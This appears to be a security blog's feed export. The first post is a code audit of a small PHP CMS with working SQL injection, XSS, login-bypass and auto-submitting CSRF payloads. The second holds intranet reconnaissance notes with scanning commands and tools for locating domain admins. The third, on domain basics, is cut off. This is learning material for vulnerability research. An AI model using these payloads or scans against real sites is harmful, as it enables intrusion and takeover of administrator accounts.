    <content type="html"><![CDATA[<h3 id="源码下载"><a href="#源码下载" class="headerlink" title="源码下载"></a>源码下载</h3><p>站长下载:<a href="http://down.chinaz.com/soft/36930.htm" target="_blank" rel="noopener">http://down.chinaz.com/soft/36930.htm</a></p><h3 id="环境配置"><a href="#环境配置" class="headerlink" title="环境配置"></a>环境配置</h3><p>VSCode phpstudy2018 php5.6.27</p><p>配置方法:国光大佬<a href="https://www.sqlsec.com/2020/09/xdebug.html" target="_blank" rel="noopener">https://www.sqlsec.com/2020/09/xdebug.html</a></p><h3 id="CMS目录"><a href="#CMS目录" class="headerlink" title="CMS目录"></a>CMS目录</h3><pre><code>admin             --后台文件夹css               --css文件夹files             --存放网站的各种功能页面文件夹images            --存放图片文件夹inc               --配置文件夹install           --网站安装文件夹seacmseditor      --网站的编辑器文件夹template          --模板文件夹upload            --存放网站上传的文件index.php         --网站入口</code></pre><h3 id="入口分析"><a href="#入口分析" class="headerlink" title="入口分析"></a>入口分析</h3><p>index.php</p><pre class=" language-php"><code class="language-php"><span class="token delimiter">&lt;?php</span><span class="token comment" spellcheck="true">//单一入口模式</span><span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true">//关闭错误显示</span><span class="token variable">$file</span><span class="token operator">=</span><span class="token function">addslashes</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string">'r'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true">//接收文件名</span><span class="token variable">$action</span><span class="token operator">=</span><span class="token variable">$file</span><span class="token operator">==</span><span class="token string">''</span><span class="token operator">?</span><span class="token string">'index'</span><span class="token punctuation">:</span><span class="token variable">$file</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true">//判断为空或者等于index</span><span class="token keyword">include</span><span class="token punctuation">(</span><span class="token string">'files/'</span><span class="token punctuation">.</span><span class="token variable">$action</span><span class="token punctuation">.</span><span class="token string">'.php'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true">//载入相应文件</span><span class="token delimiter">?></span></code></pre><p>get接收r，包含r名的php文件，没有经过过滤可以跨目录包含任意php文件</p><p>写一个phpinfo文件包含尝试、<br><img src="/images/pasted-342.png" alt="upload successful"></p><p>继续查看files/index.php</p><p><img src="/images/pasted-343.png" alt="upload successful"><br>34行</p><pre class=" language-php"><code class="language-php"><span class="token markup">&lt;a href="?r=content&amp;cid=<span class="token prolog">&lt;?php echo $toutiaoimg['id']?></span></span>"</code></pre><p>跟进一下</p><p><img src="/images/pasted-344.png" alt="upload successful"><br>get接收了cid，经过addslashes函数，转义了单引号（’）、双引号（”）、反斜线（\）与 NUL（NULL 字符）<br><img src="/images/pasted-345.png" alt="upload successful"><br>绕过addslashes()方法</p><p>1.没有使用单引号或双引号闭合，直接注入己可</p><p>2.宽字节注入</p><p>%df%27<br>gbk是多字节编码，他认为两个字节代表一个汉字，所以%df和后面的\也就是%5c变成了一个汉字“運”，而’逃逸了出来</p><p>3.经过编码后转义在解码插入sql语句</p><p><img src="/images/pasted-346.png" alt="upload successful"><br>查看编码不是gbk，放弃宽字节注入</p><p>发现19行的查询id并没有进行单引号或双引号闭合，可以注入,而且可回显，直接报错注入</p><pre><code>?r=content&amp;cid=1 or(updatexml(1,concat(0x7e,(select%20database()),0x7e),1))</code></pre><p><img src="/images/pasted-348.png" alt="upload successful"><br><img src="/images/pasted-347.png" alt="upload successful"></p><p>继续看154有留言功能</p><p><img src="/images/pasted-349.png" alt="upload successful"></p><p>跟进一下(content.php后面也没传参代码)</p><p>先设置了session，对传入的type进行了addslashes()其他的参数暂时并未转义</p><p>进行了验证码的判断</p><pre><code>if(strtolower($_POST[&#39;randcode&#39;])&lt;&gt;addslashes($_SESSION[&#39;randcode&#39;])){ echo &quot;&lt;Script language=JavaScript&gt;alert(&#39;抱歉，验证码错误，请重新输入！&#39;);history.back();&lt;/Script&gt;&quot;;exit; }</code></pre><p>然后是对是否为空的判断<br>35~38是对判断评论是否含有GBK中文编码汉字</p><pre><code>if (!preg_match(&quot;/([\x81-\xfe][\x40-\xfe])/&quot;, $content, $match)) {echo &quot;&lt;Script language=JavaScript&gt;alert(&#39;亲，再说点别的了吧？&#39;);history.back();&lt;/Script&gt;&quot;;exit;    }</code></pre><p>48行</p><pre><code>$content= addslashes(strip_tags($content));//过滤HTML</code></pre><p>strip_tags从字符串中去除 HTML 和 PHP 标记<br>又进行了addslashes转义</p><p>个人目前觉得没问题</p><p>66行，发现mail没用经过任何过滤 拼接到查询语句中<br>存在sql注入，闭合标签，报错注入</p><pre><code>$query = &quot;SELECT * FROM interaction WHERE( mail = &#39;$mail&#39;)&quot;;</code></pre><p>payload:</p><pre><code>&#39;) and updatexml(1,concat(0x7e,user()),1)#</code></pre><p>继续向后看，根据配置设置不同的参数，暂时不管</p><p>121行~147行进行将传参放入数据库中,发现很多参数没用经过过滤存在存储xss，sql注入<br>比如name参数<br>存储xss,发现前台输出评论时也没经过任何过滤</p><p><img src="/images/pasted-359.png" alt="upload successful"><br>后台输出时候也没经过过滤，所有可以打后台</p><p><img src="/images/pasted-360.png" alt="upload successful"><br>payload:</p><pre><code>&lt;script&gt;alert(1)&lt;/script&gt;</code></pre><p><img src="/images/pasted-351.png" alt="upload successful"><br>sql报错注入,因为有回显</p><pre><code>&#39; and updatexml(1,concat(0x7e,user()),1) and &#39;</code></pre><p>拼接后执行的语句</p><pre><code>&quot;INSERT INTO interaction (type,xs,cid,name,mail,url,touxiang,shebei,ip,content,tz,date) VALUES (&#39;1&#39;,&#39;1&#39;,&#39;5&#39;,&#39;&#39; and updatexml(1,concat(0x7e,user()),1) and &#39;&#39;,&#39;name&#39;,&#39;http://name&#39;,&#39;81&#39;,&#39;PC&#39;,&#39;127.0.0.1&#39;,&#39;name sql 测试&#39;,&#39;1&#39;,now())&quot;</code></pre><p>通过引号的闭合执行语句</p><p>继续<br>if ($pltz==1)执行下面的代码,发现中间sql的查询<br><img src="/images/pasted-352.png" alt="upload successful"><br>而且cid的变量未经过过滤</p><p>查看如何让pltz==1</p><p><img src="/images/pasted-353.png" alt="upload successful"><br>需要站长开启，新留言评论通知，我们开启尝试一下<br><img src="/images/pasted-354.png" alt="upload successful"><br>报错注入,同样有回显<br>payload(type要等于comment或download,这样type才能等于1or3<br>才能执行sql语句):</p><pre><code>5)%20and%20updatexml(1,concat(0x7e,user()),1)#</code></pre><p><img src="/images/pasted-355.png" alt="upload successful"></p><h3 id="继续看file下的文件"><a href="#继续看file下的文件" class="headerlink" title="继续看file下的文件"></a>继续看file下的文件</h3><h4 id="about-php-contact-php-同理"><a href="#about-php-contact-php-同理" class="headerlink" title="about.php contact.php 同理"></a>about.php contact.php 同理</h4><p><img src="/images/pasted-357.png" alt="upload successful"><br>contact.php还存在反射形xss<br><img src="/images/pasted-365.png" alt="upload successful"><br>payload:</p><pre><code>/?r=contact&amp;page=&lt;script&gt;alert(1)&lt;/script&gt;</code></pre><p><img src="/images/pasted-366.png" alt="upload successful"></p><h4 id="software-php"><a href="#software-php" class="headerlink" title="software.php"></a>software.php</h4><p><img src="/images/pasted-358.png" alt="upload successful"><br>同理第二个地方存在注入</p><p>payload:</p><pre><code>1 and updatexml(1,concat(0x7e,user()),1)#</code></pre><h3 id="admin目录"><a href="#admin目录" class="headerlink" title="admin目录"></a>admin目录</h3><p>入口文件同初始入口目录相同，也同样存在文件包含</p><pre><code>&lt;?php//单一入口模式error_reporting(0); //关闭错误显示$file=addslashes($_GET[&#39;r&#39;]); //接收文件名$action=$file==&#39;&#39;?&#39;index&#39;:$file; //判断为空或者等于indexinclude(&#39;files/&#39;.$action.&#39;.php&#39;); //载入相应文件?&gt;</code></pre><p>继续进入/admin/files/index.php目录</p><pre><code>&lt;?phprequire &#39;../inc/checklogin.php&#39;;require &#39;../inc/conn.php&#39;;$indexopen=&#39;class=&quot;open&quot;&#39;;?&gt;</code></pre><p>查看checklogin.php对登录的验证</p><pre><code>&lt;?php$user=$_COOKIE[&#39;user&#39;];if ($user==&quot;&quot;){header(&quot;Location: ?r=login&quot;);exit;    }?&gt;</code></pre><p>也就是说如果cookie中的user不为空就可以直接跳过登录，存在未授权访问<br><img src="/images/pasted-361.png" alt="upload successful"><br>这里index里还包含了后台的菜单等会再看<br>先查看登录页面login.php<br><img src="/images/pasted-367.png" alt="upload successful"><br>username并未经过过滤，存在sql注入<br><img src="/images/pasted-368.png" alt="upload successful"><br>同时这里还存在任意密码登录</p><p>参考大佬的文章(涨知识了):<a href="https://xz.aliyun.com/t/7629" target="_blank" rel="noopener">https://xz.aliyun.com/t/7629</a></p><p>什么原理呢？？它这里通过查询返回的passwd字段与传入passwd的md5比较<br>而这个passwd字段我们是可控的，那么就任意密码登录了<br><img src="/images/pasted-369.png" alt="upload successful"></p><p><img src="/images/pasted-370.png" alt="upload successful"></p><p>所以payload:</p><pre><code>username：1&#39; union select 1,2,3,&#39;c4ca4238a0b923820dcc509a6f75849b&#39;,5,6,7,8#password：1</code></pre><p>这样比注入拿到md5的passwd反过来解登录舒服<br>登录跳转回index，查看刚刚index没看的后台菜单<br>95行调用了/template/top.php<br><img src="/images/pasted-362.png" alt="upload successful"><br>跟进看一下</p><p><img src="/images/pasted-363.png" alt="upload successful"><br>54行对cookie的user并未经过任何过滤直接执行sql，存在cookie注入<br>而且有回显报错注入<br><img src="/images/pasted-364.png" alt="upload successful"><br>继续查看/template/sidebar.php<br>有发布内容 内容管理 栏目管理 友情链接<br>互动 设置等功能<br>查看发布内容<br>\admin\files\newwz.php<br><img src="/images/pasted-373.png" alt="upload successful"><br>查看对于上传文件的处理<br><img src="/images/pasted-374.png" alt="upload successful"><br>获取文件名称后三个字母</p><pre><code> function GetFileTypeToString() {  if( ! empty( $this -&gt; uploadFile[ &#39;name&#39; ] ) )  {   return substr( strtolower( $this -&gt; uploadFile[ &#39;name&#39; ] ) , strlen( $this -&gt; uploadFile[ &#39;name&#39; ] ) - 3 , 3 );    } }}</code></pre><p>后三个字母进行白名单处理</p><pre><code>function GetFileMIME() {  return $this-&gt;GetFileTypeToString(); }function CheckFileMIMEType() {  $pass = false;  $defineTypeList = strtolower( $this -&gt;defineTypeList);  $MIME = strtolower( $this -&gt; GetFileMIME());  if (!empty ($defineTypeList))  {   if (!empty ($MIME))   {    foreach(explode(&quot;|&quot;,$defineTypeList) as $tmp)    {     if ($tmp == $MIME)     {      $pass = true;     }    }</code></pre><p>到目前为止其实还是可以绕过的，可以利用shell.php/jpg<br>test.php%00.jpg test.php:1.jpg(windows)</p><p>取决于你的保存方式</p><p>查看保存</p><p><img src="/images/pasted-375.png" alt="upload successful"><br>随机数+时间加文件名后三位，就是检测的后三位，抬走上传不了(个人理解)即使传图片马利用文件包含但是我们没似乎也不知道文件名</p><p>继续看发布文章,83行没有经过过滤直接插入数据库存在sql注入<br><img src="/images/pasted-376.png" alt="upload successful"><br>payload:</p><pre><code>1&#39; and updatexml(1,concat(0x7e,user()),1) and &#39;</code></pre><p>发布下载newsoft和上面一样不看了</p><p>继续看wzlist.php</p><p><img src="/images/pasted-377.png" alt="upload successful"><br>同样原理sql注入不在多说，编辑文章和上面一样<br>softlist.php和newsoft一样不看了<br>继续看栏目管理<br>newcolumn.php没有过滤sql注入(同样原理)<br><img src="/images/pasted-378.png" alt="upload successful"><br>columnlist.php sql注入<br><img src="/images/pasted-379.png" alt="upload successful"><br>后面的各种设置漏洞都差不多<br>查看修改密码部分</p><p><img src="/images/pasted-380.png" alt="upload successful"><br>修改密码并没有要之前的密码，而验证是否是管理员<br>还是cookie的方式<br>所以存在csrf<br>burp抓包<br><img src="/images/pasted-381.png" alt="upload successful"></p><pre><code>&lt;html&gt;  &lt;!-- CSRF PoC - generated by Burp Suite Professional --&gt;  &lt;body&gt;  &lt;script&gt;history.pushState(&#39;&#39;, &#39;&#39;, &#39;/&#39;)&lt;/script&gt;    &lt;script&gt;      function submitRequest()      {        var xhr = new XMLHttpRequest();        xhr.open(&quot;POST&quot;, &quot;http:\/\/127.0.0.1\/xhcms\/admin\/?r=manageinfo&quot;, true);        xhr.setRequestHeader(&quot;Accept&quot;, &quot;text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8&quot;);        xhr.setRequestHeader(&quot;Accept-Language&quot;, &quot;zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2&quot;);        xhr.setRequestHeader(&quot;Content-Type&quot;, &quot;multipart\/form-data; boundary=---------------------------36130568313950689285470620618&quot;);        xhr.withCredentials = true;        var body = &quot;-----------------------------36130568313950689285470620618\r\n&quot; +           &quot;Content-Disposition: form-data; name=\&quot;user\&quot;\r\n&quot; +           &quot;\r\n&quot; +           &quot;admin\r\n&quot; +           &quot;-----------------------------36130568313950689285470620618\r\n&quot; +           &quot;Content-Disposition: form-data; name=\&quot;name\&quot;\r\n&quot; +           &quot;\r\n&quot; +           &quot;admin\r\n&quot; +           &quot;-----------------------------36130568313950689285470620618\r\n&quot; +           &quot;Content-Disposition: form-data; name=\&quot;password\&quot;\r\n&quot; +           &quot;\r\n&quot; +           &quot;12345\r\n&quot; +           &quot;-----------------------------36130568313950689285470620618\r\n&quot; +           &quot;Content-Disposition: form-data; name=\&quot;password2\&quot;\r\n&quot; +           &quot;\r\n&quot; +           &quot;12345\r\n&quot; +           &quot;-----------------------------36130568313950689285470620618\r\n&quot; +           &quot;Content-Disposition: form-data; name=\&quot;mail\&quot;\r\n&quot; +           &quot;\r\n&quot; +           &quot;me@isea.so\r\n&quot; +           &quot;-----------------------------36130568313950689285470620618\r\n&quot; +           &quot;Content-Disposition: form-data; name=\&quot;qq\&quot;\r\n&quot; +           &quot;\r\n&quot; +           &quot;86226999\r\n&quot; +           &quot;-----------------------------36130568313950689285470620618\r\n&quot; +           &quot;Content-Disposition: form-data; name=\&quot;images\&quot;; filename=\&quot;\&quot;\r\n&quot; +           &quot;Content-Type: application/octet-stream\r\n&quot; +           &quot;\r\n&quot; +           &quot;\r\n&quot; +           &quot;-----------------------------36130568313950689285470620618\r\n&quot; +           &quot;Content-Disposition: form-data; name=\&quot;save\&quot;\r\n&quot; +           &quot;\r\n&quot; +           &quot;1\r\n&quot; +           &quot;-----------------------------36130568313950689285470620618--\r\n&quot;;        var aBody = new Uint8Array(body.length);        for (var i = 0; i &lt; aBody.length; i++)          aBody[i] = body.charCodeAt(i);         xhr.send(new Blob([aBody]));      }    &lt;/script&gt;    &lt;form action=&quot;#&quot;&gt;      &lt;input type=&quot;button&quot; value=&quot;Submit request&quot; onclick=&quot;submitRequest();&quot; /&gt;    &lt;/form&gt;  &lt;/body&gt;&lt;/html&gt;&lt;html&gt;  &lt;!-- CSRF PoC - generated by Burp Suite Professional --&gt;  &lt;body&gt;  &lt;script&gt;history.pushState(&#39;&#39;, &#39;&#39;, &#39;/&#39;)&lt;/script&gt;    &lt;script&gt;      function submitRequest()      {        var xhr = new XMLHttpRequest();        xhr.open(&quot;POST&quot;, &quot;http:\/\/127.0.0.1\/xhcms\/admin\/?r=manageinfo&quot;, true);        xhr.setRequestHeader(&quot;Accept&quot;, &quot;text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8&quot;);        xhr.setRequestHeader(&quot;Accept-Language&quot;, &quot;zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2&quot;);        xhr.setRequestHeader(&quot;Content-Type&quot;, &quot;multipart\/form-data; boundary=---------------------------36130568313950689285470620618&quot;);        xhr.withCredentials = true;        var body = &quot;-----------------------------36130568313950689285470620618\r\n&quot; +           &quot;Content-Disposition: form-data; name=\&quot;user\&quot;\r\n&quot; +           &quot;\r\n&quot; +           &quot;admin\r\n&quot; +           &quot;-----------------------------36130568313950689285470620618\r\n&quot; +           &quot;Content-Disposition: form-data; name=\&quot;name\&quot;\r\n&quot; +           &quot;\r\n&quot; +           &quot;admin\r\n&quot; +           &quot;-----------------------------36130568313950689285470620618\r\n&quot; +           &quot;Content-Disposition: form-data; name=\&quot;password\&quot;\r\n&quot; +           &quot;\r\n&quot; +           &quot;12345\r\n&quot; +           &quot;-----------------------------36130568313950689285470620618\r\n&quot; +           &quot;Content-Disposition: form-data; name=\&quot;password2\&quot;\r\n&quot; +           &quot;\r\n&quot; +           &quot;12345\r\n&quot; +           &quot;-----------------------------36130568313950689285470620618\r\n&quot; +           &quot;Content-Disposition: form-data; name=\&quot;mail\&quot;\r\n&quot; +           &quot;\r\n&quot; +           &quot;me@isea.so\r\n&quot; +           &quot;-----------------------------36130568313950689285470620618\r\n&quot; +           &quot;Content-Disposition: form-data; name=\&quot;qq\&quot;\r\n&quot; +           &quot;\r\n&quot; +           &quot;86226999\r\n&quot; +           &quot;-----------------------------36130568313950689285470620618\r\n&quot; +           &quot;Content-Disposition: form-data; name=\&quot;images\&quot;; filename=\&quot;\&quot;\r\n&quot; +           &quot;Content-Type: application/octet-stream\r\n&quot; +           &quot;\r\n&quot; +           &quot;\r\n&quot; +           &quot;-----------------------------36130568313950689285470620618\r\n&quot; +           &quot;Content-Disposition: form-data; name=\&quot;save\&quot;\r\n&quot; +           &quot;\r\n&quot; +           &quot;1\r\n&quot; +           &quot;-----------------------------36130568313950689285470620618--\r\n&quot;;        var aBody = new Uint8Array(body.length);        for (var i = 0; i &lt; aBody.length; i++)          aBody[i] = body.charCodeAt(i);         xhr.send(new Blob([aBody]));      }    &lt;/script&gt;    &lt;form action=&quot;#&quot;&gt;      &lt;input id=&quot;lnng&quot; type=&quot;Submit&quot; value=&quot;Submit&quot; onclick=&quot;submitRequest();&quot; /&gt;    &lt;/form&gt;      &lt;script type=&quot;text/javascript&quot;&gt;                          // js自动点击      var lnng = document.getElementById(&quot;lnng&quot;);      lnng.click();  &lt;/script&gt;  &lt;/body&gt;&lt;/html&gt;</code></pre><p>设置js自动点击，在设置之前的存储xss跳转到csrf页面<br>成功修改密码</p><p>后台中还有很多比如删除文章等地方同样存在csrf，同样原理</p><h3 id="最后"><a href="#最后" class="headerlink" title="最后"></a>最后</h3><p>第一次代码审计选了个简单的cms，不涉及框架很适合我这种小白，体验还不错(其实看了蛮久的，唉)</p><p>如有错误请大佬指点，感谢</p><h3 id="参考文章"><a href="#参考文章" class="headerlink" title="参考文章"></a>参考文章</h3><p>evils大佬:<a href="https://evi1s.com/archives/124/" target="_blank" rel="noopener">https://evi1s.com/archives/124/</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;源码下载&quot;&gt;&lt;a href=&quot;#源码下载&quot; class=&quot;headerlink&quot; title=&quot;源码下载&quot;&gt;&lt;/a&gt;源码下载&lt;/h3&gt;&lt;p&gt;站长下载:&lt;a href=&quot;http://down.chinaz.com/soft/36930.htm&quot; target=&quot;_
      
    
    </summary>
    
    
      <category term="代码审计" scheme="https://lnng.top/categories/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
    
      <category term="代码审计" scheme="https://lnng.top/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
  </entry>
  
  <entry>
    <title>内网信息收集学习笔记</title>
    <link href="https://lnng.top/posts/4b57.html"/>
    <id>https://lnng.top/posts/4b57.html</id>
    <published>2021-02-07T13:27:00.000Z</published>
    <updated>2021-05-05T10:42:04.323Z</updated>
    
    <content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>本文主要是学习《内网安全攻防 渗透测试实战指南》的阅读笔记防止遗忘也是总结吧</p><h3 id="基本命令"><a href="#基本命令" class="headerlink" title="基本命令"></a>基本命令</h3><p><img src="/images/pasted-324.png" alt="upload successful"></p><h3 id="探测域内存活主机"><a href="#探测域内存活主机" class="headerlink" title="探测域内存活主机"></a>探测域内存活主机</h3><h4 id="利用NetBIOS"><a href="#利用NetBIOS" class="headerlink" title="利用NetBIOS"></a>利用NetBIOS</h4><p>NetBIOS是局域网程序使用的一种应用程序编程接口，为程序提供了请求低级别服务的统一命令集，为局域网提供了网络及其他特殊功能。系统可以利用wins服务，广播及Lmhost文件等多种模式将NetBLOS名—特指基于netbios协议获得计算机名—-解析为相应ip地址，实现信息通讯<br>netblos的使用上传</p><pre><code>nbt.exe,nbt.exe -m 192.168.124.0/24</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Lmg66/picture@main/image/1613291385331-1613291385330.png" alt="upload successful"></p><pre><code>./nbtscan -m 192.168.124.0/24</code></pre><p><img src="/images/pasted-325.png" alt="upload successful"><br><img src="/images/pasted-326.png" alt="upload successful"></p><h4 id="利用icmp协议快速探测内网"><a href="#利用icmp协议快速探测内网" class="headerlink" title="利用icmp协议快速探测内网"></a>利用icmp协议快速探测内网</h4><p>依次对内网的每个ip地址指向ping命令，可快速找到内网中所有存活的主机</p><pre><code>for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.124.%I | findstr &quot;TTL=&quot;</code></pre><p><img src="/images/pasted-327.png" alt="upload successful"></p><h5 id="vbs脚本，执行注意修改ip段"><a href="#vbs脚本，执行注意修改ip段" class="headerlink" title="vbs脚本，执行注意修改ip段"></a>vbs脚本，执行注意修改ip段</h5><pre><code>cscript xxx.vbsstrSubNet = &quot;192.168.0.&quot;Set objFSO= CreateObject(&quot;Scripting.FileSystemObject&quot;)Set objTS = objfso.CreateTextFile(&quot;C:\Windows\Temp\Results.txt&quot;)For i = 1 To 254strComputer = strSubNet &amp; iblnResult = Ping(strComputer)If blnResult = True ThenobjTS.WriteLine strComputerEnd IfNextobjTS.CloseWScript.Echo &quot;All Done !&quot;Function Ping(strComputer)Set objWMIService = GetObject(&quot;winmgmts:\\.\root\cimv2&quot;)Set colItems = objWMIService.ExecQuery(&quot;Select * From Win32_PingStatus Where Address=&#39;&quot; &amp; strComputer &amp; &quot;&#39;&quot;)For Each objItem In colItemsSelect case objItem.StatusCodeCase 0Ping = TrueCase ElsePing = FalseEnd selectExit ForNextEnd Function</code></pre><h4 id="通过arp探测内网"><a href="#通过arp探测内网" class="headerlink" title="通过arp探测内网"></a>通过arp探测内网</h4><h5 id="windows"><a href="#windows" class="headerlink" title="windows"></a>windows</h5><pre><code>arp.exe -t 192.168.124.0/24</code></pre><p><img src="/images/pasted-328.png" alt="upload successful"></p><h5 id="linux-需要root权限"><a href="#linux-需要root权限" class="headerlink" title="linux(需要root权限)"></a>linux(需要root权限)</h5><pre><code>apt-get install arp-scanarp-scan --localnet</code></pre><p><img src="/images/pasted-329.png" alt="upload successful"></p><h4 id="通过UDP发现内网存活主机"><a href="#通过UDP发现内网存活主机" class="headerlink" title="通过UDP发现内网存活主机"></a>通过UDP发现内网存活主机</h4><h5 id="1-nmap"><a href="#1-nmap" class="headerlink" title="1.nmap"></a>1.nmap</h5><pre><code>nmap -sU -T5 -sV --max-retries 1 192.168.124.129 -p 500</code></pre><pre><code>--max-retries &lt; tries &gt;： 扫描探针重发的端口盖数 </code></pre><p><img src="/images/pasted-330.png" alt="upload successful"></p><h5 id="2-msf"><a href="#2-msf" class="headerlink" title="2.msf"></a>2.msf</h5><pre><code>use auxiliary/scanner/discovery/udp_probe</code></pre><p><img src="/images/pasted-331.png" alt="upload successful"></p><pre><code>use auxiliary/scanner/discovery/udp_sweep</code></pre><p><img src="/images/pasted-332.png" alt="upload successful"></p><h5 id="3-unicornscan扫描"><a href="#3-unicornscan扫描" class="headerlink" title="3.unicornscan扫描"></a>3.unicornscan扫描</h5><pre><code>unicornscan -mU 192.168.124.129</code></pre><p><img src="/images/pasted-333.png" alt="upload successful"></p><h3 id="扫描域内端口"><a href="#扫描域内端口" class="headerlink" title="扫描域内端口"></a>扫描域内端口</h3><p>msf</p><pre><code>use auxiliary/scanner/portscan/tcp</code></pre><p><img src="/images/pasted-334.png" alt="upload successful"></p><p><img src="/images/pasted-335.png" alt="upload successful"></p><p><img src="/images/pasted-336.png" alt="upload successful"></p><p><img src="/images/pasted-337.png" alt="upload successful"></p><h3 id="收集域内基础信息"><a href="#收集域内基础信息" class="headerlink" title="收集域内基础信息"></a>收集域内基础信息</h3><p><img src="/images/pasted-338.png" alt="upload successful"></p><h3 id="获取域内的用户和管理员信息"><a href="#获取域内的用户和管理员信息" class="headerlink" title="获取域内的用户和管理员信息"></a>获取域内的用户和管理员信息</h3><p><img src="/images/pasted-339.png" alt="upload successful"></p><h3 id="定位域管理员"><a href="#定位域管理员" class="headerlink" title="定位域管理员"></a>定位域管理员</h3><p>在一个域中，当计算机加入域后，会默认给域管理员赋予本地系统管理员权限。因此，域管理员均可以访问本地计算机，且具备完全控制权限。</p><p>定位域内管理员的两种渠道：日志和会话。</p><p>日志是指本地机器的管理员日志，可以使用脚本或Wevtutil工具导出并查看。</p><p>会话是指域内每台机器的登陆会话，可以使用netsess.exe或PowerView等工具查询（可以匿名查询，不需要权限）。</p><h4 id="PsLoggedon-exe"><a href="#PsLoggedon-exe" class="headerlink" title="PsLoggedon.exe"></a>PsLoggedon.exe</h4><p>通过检验注册表里HKEY_USERS的key值来查询谁登陆过机器，同样也调用到了NetSessionEnum API。</p><p>PS：该工具的某些功能需要管理员权限</p><p>下载地址：<a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon" target="_blank" rel="noopener">https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon</a></p><p>参数     描述</p><pre><code>-     显示支持的选项和用于输出值的度量单位-l     仅显示本地登录，而不显示本地和网络资源登录-x     不显示登录时间\computername     指定要为其列出登录信息的计算机的名称username     指定用户名，在网络中搜索该用户登陆的计算机</code></pre><p><img src="/images/pasted-340.png" alt="upload successful"></p><h4 id="PVEFindADUser-exe"><a href="#PVEFindADUser-exe" class="headerlink" title="PVEFindADUser.exe"></a>PVEFindADUser.exe</h4><p>用于查找Active Directory用户的登录位置、枚举域用户，以及查找在特定计算机上登陆的用户，包括本地用户、通过RDP登陆的用户、用于运行服务和计划任务的用户。</p><p>运行该工具需要配置 .NET Framework 2.0 环境，并且需要具有管理员权限。</p><p>下载地址：<a href="https://github.com/chrisdee/Tools/raw/master/AD/ADFindUsersLoggedOn/PVEFindADUser.exe" target="_blank" rel="noopener">https://github.com/chrisdee/Tools/raw/master/AD/ADFindUsersLoggedOn/PVEFindADUser.exe</a></p><p>.NET Framework 2.0环境下载地址(根据自己的环境下载)：<a href="https://www.microsoft.com/zh-CN/download/details.aspx?id=1639" target="_blank" rel="noopener">https://www.microsoft.com/zh-CN/download/details.aspx?id=1639</a></p><p><img src="/images/pasted-341.png" alt="upload successful"></p><pre><code>参数     描述-h     显示帮助信息-u     检测程序是否有新版本-current [&quot;username&quot;]     -current参数显示每台PC上当前登录的用户在域中。如果指定用户名（在引号之间），则仅将显示该特定用户登录的PC-noping     阻止尝试枚举用户登录名之前对目标计算机执行ping命令-target     此可选参数允许您指定要查询的主机。如果未指定此-target参数，则将查询当前域中的所有主机。如果决定指定-target，然后指定以逗号分隔的主机名。查询结果将被输出到report.csv文件中</code></pre>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h3&gt;&lt;p&gt;本文主要是学习《内网安全攻防 渗透测试实战指南》的阅读笔记防止遗忘也是总结吧&lt;/p&gt;
&lt;h3 id=&quot;基本命令&quot;&gt;&lt;a href=&quot;#基本命
      
    
    </summary>
    
    
      <category term="内网渗透" scheme="https://lnng.top/categories/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/"/>
    
    
      <category term="内网渗透" scheme="https://lnng.top/tags/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/"/>
    
  </entry>
  
  <entry>
    <title>内网域基础学习笔记</title>
    <link href="https://lnng.top/posts/95a7.html"/>
    <id>https://lnng.top/posts/95a7.html</id>
    <published>2021-02-06T12:39:00.000Z</published>
    <updated>2021-02-09T15:29:04.287Z</updated>
    
    <content type="html"><![CDATA[<h3 id="工作组"><a href="#工作组" class="headerlink" title="工作组"></a>工作组</h3><p>为了方便区分不同的计算机的功能，划分了不同的组(没有服务器和客户机之分),右键”我的电脑”-&gt;”属性”-&gt;”更改”，里面有工作组的设置</p><p><img src="/images/pasted-303.png" alt="upload successful"><br>查看工作组和工作共享，”控制面板”-&gt;”选择家庭组和共享选项”-&gt;”创建家庭组”，即可共享资源<br><img src="/images/pasted-305.png" alt="upload successful"></p><h3 id="域"><a href="#域" class="headerlink" title="域"></a>域</h3><p>域是一个有边界的计算机集合(不同的域无法相互访问，除外建立信任关系)，<br>域与工作组相比，域的安全管理更加严格，用户在域内的权限取决于域内的身份。</p><h4 id="域控制器-DC"><a href="#域控制器-DC" class="headerlink" title="域控制器(DC)"></a>域控制器(DC)</h4><p>域控制器好比门禁系统，负责验证用户身份，如是否属于这个域，登录账号是否存在，密码是否正确，储存账号信息的数据库，负责验证所有权限用户</p><p>单域一般要两台域服务器，一台作为DC，令一台做备用DC(为了防止瘫痪数据的备份)</p><h4 id="父域和子域"><a href="#父域和子域" class="headerlink" title="父域和子域"></a>父域和子域</h4><p>在网络中划分多个域，第一域称为父域，各分部的域称为该域的子域，同一域内，信息交互的条目多，且不会压缩，不同域之间，信息的交互条目相对较少，而且，可以压缩，且每个域都有自己的安全策略</p><h4 id="域树"><a href="#域树" class="headerlink" title="域树"></a>域树</h4><p>域树是多个域通过建立信任关系组成的集合<br><img src="/images/pasted-306.png" alt="upload successful"></p><h4 id="域森林"><a href="#域森林" class="headerlink" 